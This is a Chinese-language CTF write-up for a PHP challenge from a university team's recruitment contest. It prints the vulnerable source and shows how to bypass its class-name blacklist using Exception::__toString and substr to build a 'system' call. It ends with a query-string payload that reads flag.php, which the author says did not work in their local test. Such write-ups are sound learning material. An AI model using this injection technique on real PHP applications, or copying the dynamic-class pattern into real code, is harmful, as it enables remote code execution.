前言
西电的L-Team招新赛
和moeCTF比难度完全上去了(
Sigin(复现)
php
index页面f12发现注释shell.php
来到shell.php发现php源码
<?php
error_reporting(0);
show_source(__FILE__);
$a = $_GET["a"];
$b = $_GET["b"];
$c = $_GET["c"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];
if(preg_match("/Error|ArrayIterator|SplFileObject/i", $a)) {
die("你今天rce不了一点");
}
if(preg_match("/php/i", $b)) {
die("别上🐎,想捣蛋啊哥们?");
}
if(preg_match("/Error|ArrayIterator/i", $c)) {
die("你今天rce不了一点");
}
$class = new $a($b);
$str1 = substr($class->$c(),$d,$e);
$str2 = substr($class->$c(),$f,$g);
$str1($str2);
//flag.php
先分析一下代码,对参数$a过滤了Error
,ArrayIterator
,SplFileObject
这三个原生类,这三个类的共同点我猜测是能够读取文件
然后对参数$b过滤了php
,那等会还读取flag.php还得使用通配符
接着对参数$c过滤了Error
,ArrayIterator
类
而$str1($str2)
存在代码执行,接下来就是要选择合适的类获得$class
让$str1($str2)
变得可控
在这种过滤条件下,与Error
类作用相似的还有Exception
类
通过Exception
类中的__toString()
方法获取字符串来触发
本地测试:
<?php
$class=new Exception("systemtype%20flag.p?p");
echo $class->__toString()."\n";
$str1=substr($class->__toString(),11,6);
echo $str1."\n";
$str2=substr($class->__toString(),17,15);
echo $str2;
输出:
很明显这样就能实现命令执行读取flag
payload(本地windows环境):
?a=Exception&b=systemtype%20flag.p?p&c=__toString&d=11&e=6&f=17&g=15
但是不知道为什么本地复现的时候没打通qaq